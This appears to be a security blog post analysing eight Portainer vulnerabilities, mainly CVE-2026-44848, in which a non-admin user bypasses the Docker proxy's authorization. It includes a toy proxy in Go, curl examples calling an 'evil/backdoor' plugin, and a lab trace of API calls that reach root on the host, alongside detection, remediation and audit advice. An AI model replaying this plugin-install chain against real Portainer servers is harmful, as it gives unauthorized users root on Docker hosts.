Portainer's Docker Proxy Authorization Bypass (CVE-2026-44848): Eight Ways a Standard User Reaches the Host
In May 2026 Portainer patched eight vulnerabilities in one coordinated batch, two of them Critical. Read as a list they look like an ordinary security-release changelog. Read together they describe a single design problem, and it is one every engineer who has put an authorization proxy in front of a powerful API should recognise. Portainer's proxy sits between a non-admin user and the Docker daemon and is supposed to enforce role-based access control on every request. The daemon, however, accepts more request shapes than the proxy models — an unrouted path, a second field that expresses the same operation, a check that ran but did not stop, a non-canonical encoding — and every one of those gaps is an authorization bypass. The headline, CVE-2026-44848 (8.8), turns a standard Portainer user with access to one Docker environment into root on the host. What follows reproduces the core mechanism locally, walks the four shapes it took across the batch, and gives a vendor-agnostic way to audit any proxy that fronts a privileged API.
- DISCLOSURE: eight Portainer CE/BE advisories published May 14, 2026 — CVE-2026-44848, -44849, -44850, and -44881 through -44885; fixes shipped across the April–May 2026 releases
- HEADLINE: CVE-2026-44848 — 8.8, missing authorization on the Docker /plugins/* endpoints; a standard user installs and enables a plugin with CAP_SYS_ADMIN and runs code as root on the host (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
- HIGHEST SCORE: CVE-2026-44881 — 9.9, Scope:Changed — arbitrary file read by the Portainer server process via a Git symlink in a stack repository
- THREAT MODEL: every flaw here is PR:L — the attacker already holds a non-admin Portainer account with RBAC access to at least one environment. Admins and users with no endpoint access are unaffected. This is multi-tenant privilege escalation, not an internet-facing unauthenticated RCE
- EXPLOITED: no public evidence of in-the-wild exploitation; not CISA KEV-listed as of writing
- FIX: Portainer 2.41.0 (STS), 2.39.2 (LTS), 2.33.8 (LTS). Current lines — 2.44.0 STS, 2.39.5 LTS — are above the fix
- SOURCE: Portainer is the CNA for the batch; scores here are its CVSS 3.1 assessments. CVSS 4.0 rates CVE-2026-44848 at 9.4, so you may see that figure elsewhere
AM I EXPOSED?
- AFFECTEDPortainer CE or BE below 2.33.8 / 2.39.2 / 2.41.0 and at least one non-admin user has RBAC access to a Docker, Swarm, or Kubernetes environment.
- NOT YOUSingle-admin installs where no standard user has environment access, or anything already on 2.41.0+ / 2.39.2+ / 2.33.8+ (current: 2.44.0 STS, 2.39.5 LTS).
- CHECKcurl -sk https://HOST:9443/api/system/status | jq -r .Version — the version is served unauthenticated. Locally: docker ps --filter name=portainer --format '{{.Image}}'.
- FIXUpgrade to the current LTS (2.39.5) or STS (2.44.0). If you cannot upgrade immediately, revoke non-admin RBAC access to Docker/Swarm/K8s environments until you can.
The Pattern: The Proxy and the Daemon Disagree About the Request
Portainer is a management UI for Docker, Swarm, and Kubernetes. A team runs one Portainer server and hands scoped, role-based access to developers who are not Docker admins. Under the hood, Portainer does not give those users the Docker socket directly — it proxies the Docker API. Every request a user makes flows through Portainer's proxy layer, which is where role-based access control is enforced: the proxy routes each incoming Docker API call to a per-resource handler (containers, images, services, volumes) and each handler applies the authorization checks for that resource. Deny the dangerous operations, forward the safe ones. That is the entire security model.
The model holds only if the proxy's picture of the API is complete — if, for every request the daemon will act on, the proxy recognises it as that request and has a rule for it. The Docker daemon is an old, wide, forgiving API. It accepts operations the proxy never registered a handler for. It accepts the same operation expressed through two different fields. It accepts paths in non-canonical encodings. Wherever the daemon accepts a request the proxy does not model as the request it is, the authorization check is applied to the wrong thing — or to nothing — and the user reaches the daemon with more authority than their role allows. The May 2026 batch is that one bug in four distinct shapes.
- • The unrouted path — a privileged endpoint the proxy has no handler for, so no check runs at all (CVE-2026-44848).
- • The second expression — the same capability requested through a field or path the guard does not inspect (CVE-2026-44849, CVE-2026-44850).
- • The check that did not stop — authorization ran, wrote a denial, then kept executing (CVE-2026-44882).
- • The non-canonical form — the proxy authorizes the decoded path while the daemon acts on the raw one (the 2.42.0 RawPath fix; and the still-unconfirmed CVE-2026-72533).
Reproducing the Core Mechanism
The headline bug reproduces in about forty lines that owe nothing to Portainer's actual code — the point is the shape, and the shape is short. A "daemon" that is privileged and trusts whoever reaches it, and a "proxy" that guards the resources it has handlers for and forwards everything else unchanged:
// A stand-in for the RBAC proxy — NOT Portainer's code. The daemon is
// privileged; the proxy guards only the routes it has a handler for.
guarded := map[string]bool{"/containers/": true, "/images/": true, "/volumes/": true}
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
for prefix := range guarded {
if strings.HasPrefix(r.URL.Path, prefix) {
http.Error(w, "403 - RBAC denied non-admin", 403) // guarded resource
return
}
}
forwardToDaemon(w, r) // no handler matched -> no check -> forwarded as-is
})Two requests from the same non-admin user. One asks for a privileged container — a resource the proxy has a handler for, so RBAC fires and denies it. The other asks for a plugin — a resource with no handler, so it falls through to the daemon unchecked:
# A guarded resource: the proxy has a handler, RBAC fires. $ curl -s http://proxy/containers/create?privileged=true PROXY: 403 - RBAC denied non-admin on /containers/create # An UNROUTED privileged path: no handler, so no check runs. $ curl -s http://proxy/plugins/pull?remote=evil/backdoor DAEMON: executed /plugins/pull -> plugin enabled with CAP_SYS_ADMIN (root on host)
That is CVE-2026-44848 in miniature. The forbidden thing was never forbidden; it was simply not on the list of things the proxy knew how to guard. The check did not fail — it was never reached. To be clear about what this stand-in is and is not: the advisory is the proof the bug is real; the forty lines above exist only to make the shape legible so you can recognise it elsewhere. For proof it fires against the actual product, we ran it.
Reproduced Against Portainer 2.40.0
We stood up a real Portainer CE 2.40.0 — a version below the 2.41.0 fix line — in a throwaway Docker environment, created an administrator, and created one Standard (non-admin) user, dev, with access to the local Docker environment. Nothing exotic: this is the ordinary multi-team setup Portainer is built for.

Portainer CE 2.40.0 — dev is a Standard user, not an administrator. The footer shows the version. This is the account that reaches root below.
Authenticating as dev and driving the API directly: Portainer's own admin-only endpoints are correctly refused, and then the Docker /plugins/* proxy is walked straight through to install and enable a plugin that runs as root on the host. The final line is the Docker daemon's own view, independent of Portainer:
# 'dev' IS non-admin — Portainer's admin-only endpoints are correctly denied:
GET /api/users -> 403 (forbidden, as expected)
GET /api/settings -> 403 (forbidden, as expected)
# ...but the Docker /plugins/* proxy has no authz handler. 'dev' walks through:
GET /endpoints/1/docker/plugins/privileges -> 200 (reads required privileges:
CAP_SYS_ADMIN, /dev/fuse, host mount)
POST /endpoints/1/docker/plugins/pull -> 200 (pulls the plugin onto the host)
POST /endpoints/1/docker/plugins/<name>/enable -> 200 (runs plugin code as root on the host)
# GROUND TRUTH from the Docker daemon (admin CLI, independent of Portainer):
$ docker plugin ls
ID NAME DESCRIPTION ENABLED
976a43ec8882 reconsshfs:latest sshFS plugin for Docker trueA standard user with access to a single environment now has a plugin of their choosing running as root on the Docker host — the definition of CVE-2026-44848. And the fix is verifiable in the same lab: on a patched Portainer 2.41.0, with the identical non-admin user and the identical calls, the harmless plugin list still returns 200, but the operations that carry the host to root are gated:
# Same non-admin user, same calls, on PATCHED Portainer 2.41.0: GET /endpoints/1/docker/plugins -> 200 (read-only list, still allowed) GET /endpoints/1/docker/plugins/privileges -> 200 POST /endpoints/1/docker/plugins/pull -> 403 (BLOCKED — now behind an admin check)
The patch did not forbid the whole resource; it registered the mutating plugin operations behind the admin check they always needed. That surgical shape is worth noting — "we blocked /plugins" and "we blocked the plugin operations that reach the host" are different fixes, and only the second one is this CVE.
The Four Shapes in the May 2026 Batch
1 · The unrouted path — CVE-2026-44848 (8.8, host RCE)
Portainer's proxy routes Docker API requests to per-resource handlers that apply RBAC. The Docker /plugins/* management endpoints were never registered with a handler, so a standard user with access to a Docker environment could call privileged plugin operations straight through to the daemon. The chain is short and it ends at root: POST /plugins/pull to fetch an attacker-controlled plugin, grant it capabilities including CAP_SYS_ADMIN, then POST /plugins/{name}/enable — Docker plugins run as root on the host, so enabling a malicious one is code execution as root. Missing authorization, CWE-862. Fixed by registering the plugin endpoints with a handler that requires admin.
2 · The second expression — CVE-2026-44849 & CVE-2026-44850
Portainer lets an admin impose environment security restrictions on what non-admin users may launch: no privileged mode, no host PID namespace, no device mapping, no added capabilities, no bind mounts, and so on. CVE-2026-44849 (Critical, 8.8) is the discovery that several of these restrictions, enforced on the standard container-creation path, were not applied on the Swarm service create/update path — the update path applied none of them. A user with access to a Swarm endpoint created the same privileged workload through the service API instead, and the restrictions that were silent there did not fire.
CVE-2026-44850 (High, 8.5) is the same idea one field over. The "disable bind mounts for non-administrators" check only inspected the legacy HostConfig.Binds array. Docker accepts the identical mount request through HostConfig.Mounts, which the check never looked at, so a bind-typed entry there mounted any host path — / included — into the user's container. Two names for one operation; the guard learned one of them. This is the shape to fear most, because it survives a code review that only reads the path the guard does cover.
3 · The check that did not stop — CVE-2026-44882 (8.1)
CVE-2026-44882 is a control-flow bug in the Kubernetes proxy middleware. When the user's token validation failed, kubeClientMiddleware wrote an HTTP 403 to the response — and then, missing a return, kept executing into the handler with a nil tokenData. The denial was sent; the request proceeded anyway. A user whose access to a given Kubernetes endpoint should have been refused was handled as though it had been allowed. The authorization decision was correct and completely ineffective, because writing a status code is not the same as halting. One missing keyword.
4 · The non-canonical form — the RawPath fix, and CVE-2026-72533
The fourth shape is the classic parser differential: the proxy makes its authorization decision on one interpretation of the URL and the daemon acts on another. Portainer's 2.42.0 release notes (May 21, 2026) record the defensive fix — clearing the request's RawPath field so the proxy stops forwarding percent-encoded paths that could smuggle a %2e%2e traversal past a check made against the decoded path — alongside tightening the /containers/{id}/attach/ws proxy route. When the authorization layer and the routing layer decode a path differently, the allowlist is only as good as whichever decoder is weaker.
This is exactly the family that a fifth, newer report claims to extend — and it is worth being precise about what that report is and is not.
A Note on CVE-2026-72533
CVE-2026-72533, published August 11, 2026, describes "an authentication bypass vulnerability in Portainer CE through 2.44.0" that lets "authenticated low-privileged users bypass Docker proxy authorization checks via non-canonical URL normalization, defeating all authorization middleware." If accurate, that is shape four again — the proxy and the daemon disagreeing about what a path means — reappearing after the 2.42.0 hardening. It is the reason this pattern is worth learning rather than memorising a single fix: the class outlives any one patch.
But the record deserves caveats a careful reader should apply to any fresh CVE. It was assigned by a third-party CNA, not by Portainer, and its only reference is the project's repository — there is no Portainer security advisory, no fix commit, no proof-of-concept, and no example of the offending URL. Its sole affected version, 2.44.0, is the current release, so no patched build is named. NVD still lists it as Received, meaning it has not been analysed. Treat it as an unconfirmed continuation of a well-documented pattern: monitor the Portainer advisory feed for vendor confirmation, and do not act on invented specifics — including any you might read elsewhere — that the record itself does not contain.
Finding Exposed Portainer on Your Network
Remote discovery does not prove any of these bypasses — they need an authenticated non-admin account — but it does answer the two questions that gate the whole risk: is there a Portainer here, and is it below the fix line? Portainer's server listens on 9443 (HTTPS UI), optionally 9000 (legacy HTTP UI), and 8000 (the Edge agent tunnel). The version is served without authentication, which turns triage into one request:
$ curl -sk https://portainer.internal:9443/api/system/status | jq
{
"Version": "2.40.0",
"InstanceID": "b1c2...",
...
}
# 2.40.0 < 2.41.0 -> below the fix line for the May 2026 batchAcross an estate the workflow is tool-agnostic: sweep for 9443/9000, confirm Portainer by its TLS certificate and login page, then read /api/system/status for the version and compare against 2.41.0 / 2.39.2 / 2.33.8. A Portainer instance reachable from an untrusted network is a finding on its own, independent of version — the management plane for your Docker hosts should not be internet-facing.
Remediation
- Upgrade past the fix line. Move to the current LTS (2.39.5) or STS (2.44.0). The minimum safe versions for this batch are 2.41.0 (STS), 2.39.2 (LTS), and 2.33.8 (LTS) — anything below the one matching your line is exposed.
- Treat non-admin environment access as the blast radius. Every bug here needs a standard user with RBAC access to an environment. Enumerate who has it, and revoke access to Docker/Swarm/Kubernetes environments you cannot yet patch. A user with no endpoint access cannot reach any of these paths.
- Get the management plane off untrusted networks. Put Portainer behind a VPN or an authenticating reverse proxy; do not expose 9443/9000/8000 to the internet. This does not fix the bypasses but it removes the drive-by.
- Audit your own proxies for the same four shapes. Any service that authorizes requests before forwarding them to a more powerful backend — an API gateway, an nginx auth_request, a Kubernetes admission or authorizing webhook, a homegrown admin proxy — can carry the identical class. Ask of each: is there a backend path with no rule? Can the same operation be expressed a second way the rule misses? Does every denial actually return? Do the authorizer and the backend canonicalise the path identically?
- Prefer a positive model. An allowlist that forwards only known-safe requests fails closed when the backend grows a new verb; a denylist that blocks known-bad requests fails open. CVE-2026-44848 exists because the plugin endpoints fell into the gap of a route table that had to enumerate everything it guarded.
One Pattern, Two Products
Both bugs are the authorization layer and the execution layer disagreeing about which object a request targets:
- • Portainer · CVE-2026-44848 — you are here
- • MongoDB · CVE-2026-18690 — a BSON symbol namespace the authz parser downgrades to database-level reaches the system collection
Triage Notes
- Remote recon proves: a Portainer instance exists, whether it is network-exposed, and — via /api/system/status — whether the version is below 2.41.0 / 2.39.2 / 2.33.8.
- It cannot prove: whether any non-admin user actually has RBAC access to an environment. That is the precondition for every bug here and it is an in-console fact.
- Evidence to request: the Portainer version; the list of non-admin users and their environment/RBAC assignments; whether environment security settings (bind mounts, privileged mode) are relied on for non-admin containment.
- Escalation threshold: any standard user with Docker, Swarm, or Kubernetes endpoint access on a build below the fix line. That combination is a direct standard-user-to-host path via CVE-2026-44848.
- Finding statement: "The Portainer server is below the May 2026 fix line (2.41.0 / 2.39.2 / 2.33.8) and grants non-admin users environment-level access, allowing a standard user to bypass RBAC and execute code as root on the Docker host (CVE-2026-44848). Upgrade to the current release and review non-admin environment access."
The network half of this investigation — finding exposed Portainer servers by port, TLS certificate, and the unauthenticated version endpoint, from your phone — runs in RECON. The RBAC audit is a console task RECON does not replace. Get RECON on the App Store.
Follow @hellorecon for new CVE investigations.
Sources
- → Portainer: CVE-2026-44848 — missing authorization on Docker plugin endpoints (host RCE)
- → Portainer: CVE-2026-44849 — endpoint security bypass via Swarm service create/update
- → Portainer: CVE-2026-44850 — bind-mount restriction bypass via HostConfig.Mounts
- → Portainer: CVE-2026-44881 — arbitrary file read via Git symlink in stack auto-update (9.9)
- → Portainer: CVE-2026-44882 — Kubernetes middleware continues after 403 (missing return)
- → Portainer: CVE-2026-44883 — JWT accepted in URL query leaks tokens
- → Portainer: CVE-2026-44884 — missing authorization on custom template file endpoint
- → Portainer: CVE-2026-44885 — path traversal in backup archive extraction
- → Endor Labs: CVE-2026-44848 analysis
- → Portainer: release notes (2.42.0 RawPath / Docker proxy fixes)
- → NVD: CVE-2026-72533 (unconfirmed, third-party assigned)
Get the next investigation
New CVE teardowns — root cause from the source, a working proof-of-concept, and how to check your own estate — in your inbox when they publish. No spam, unsubscribe anytime.